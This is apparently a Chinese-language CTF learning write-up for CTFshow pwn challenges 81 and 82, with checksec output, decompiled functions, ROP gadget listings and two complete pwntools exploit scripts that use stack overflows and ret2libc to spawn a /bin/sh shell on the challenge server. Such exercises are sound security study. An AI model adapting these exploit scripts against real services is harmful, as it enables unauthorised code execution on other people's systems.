pwn81 1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/81/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No $ file pwn pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d02ff0ab12b5833dd9785f1ff2eec91457b584d, not stripped
NX enabled64位动态链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main (int argc, const char argv, const char envp) { void *v3; void *handle; init(argc, argv, envp); logo(); puts ("Maybe it's simple,O.o" ); handle = dlopen("libc.so.6" , 258 ); v3 = dlsym(handle, "system" ); printf ("%p\n" , v3); ctfshow(); write(1 , "Hello CTFshow!\n" , 0xFu ); return 0 ; }
这里有个函数从来没见过dlsym(Dynamic Linking Symbol),函数原型:
1 2 3 4 5 6 7 8 9 #include <dlfcn.h> void *dlsym (void *handle, const char *symbol)
我们运行一下能看到打印了地址,这地址也就是system()函数的地址
1 2 Maybe it's simple,O.o 0x711087050d70
1 2 3 4 5 6 ssize_t ctfshow () { _BYTE buf[128 ]; return read(0 , buf, 0x100u ); }
栈溢出,offset = 0x80+8
1 2 3 4 5 6 7 $ ROPgadget --binary pwn --only 'pop|ret' Gadgets information ============================================================ ... 0x0000000000000a93 : pop rdi ; ret ... 0x00000000000006f6 : ret
一开始想利用本身的gadget的,但是但由于开了PIE随机地址,不能直接用elf的gadget,所以说需要利用libc库中的gadget
找到这两个即可,注意加上libcbase_addr即可
1 2 3 ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'ret' 0x000000000002164f : pop rdi ; ret 0x00000000000008aa : ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/81/pwn' ) libc = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/81/libc.so.6' ) context(arch='amd64' ,os='linux' ,log_level='debug' ) p = remote('pwn.challenge.ctf.show' , 28309 ) p.recvuntil(b'0x' ) leak_addr = eval (b'0x' + p.recvuntil(b'\n' ,drop=True )[:16 ]) print (hex (leak_addr))libc_base = leak_addr - libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) print (hex (binsh))offset = 0x80 +8 rdi_ret = 0x2164f +libc_base ret_addr = 0x8aa +libc_base payload = offset = b'A' * offset payload += p64(rdi_ret) payload += p64(binsh) payload += p64(ret_addr) payload += p64(leak_addr) p.sendline(payload) p.interactive()
pwn82
高级ROP 32 位 NO-RELRO
1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/82/pwn' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ file pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4246d04ac4602f2323d98c0288704a86d074947d, not stripped
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char argv, const char envp) { size_t n; char buf[112 ]; int *p_argc; p_argc = &argc; strcpy (buf, "Welcome to CTFshowPWN!\n" ); memset (&buf[24 ], 0 , 0x4Cu ); setbuf(stdout , buf); n = strlen (buf); write(1 , buf, n); show(); return 0 ; }
1 2 3 4 5 6 7 ssize_t show () { char buf[104 ]; setbuf(stdin , buf); return read(0 , buf, 0x100u ); }
buf栈溢出,这里使用了write函数,利用泄露地址ret2libc。
write函数原型如下:
1 2 3 4 5 ssize_t write (int fd,const void *buf,size_t count) ;参数说明: fd:是文件描述符(write所对应的是写,即就是1 ) buf:通常是一个字符串,需要写入的字符串 count:是每次写入的字节数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\82\pwn" ) from LibcSearcher import *context(arch='i386' ,os='linux' ,log_level='debug' ) p = remote('pwn.challenge.ctf.show' , 28137 ) offset = 0x6c +4 write_plt = elf.plt['write' ] write_got = elf.got['write' ] show_addr = elf.symbols['show' ] payload = b'A' * offset payload += p32(write_plt) payload += p32(show_addr) payload += p32(1 ) payload += p32(write_got) payload += p32(4 ) p.recvuntil('Welcome to CTFshowPWN!\n' ) p.sendline(payload) write_addr = u32(p.recvuntil('\xf7' )) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) system = libc_base+libc.dump('system' ) bin_sh = libc_base+libc.dump('str_bin_sh' ) payload2 = b'A' * offset payload2 += p32(system) payload2 += p32(show_addr) payload2 += p32(bin_sh) sleep(0.1 ) p.sendline(payload2) p.interactive()
这里不知道为啥他自己的libc用不了,用了libcsearcher做的。
这里在网上看到了另外一个做的办法,这里记一下、后面来看:https://www.cnblogs.com/maicaii/p/18710479#pwn82
pwn83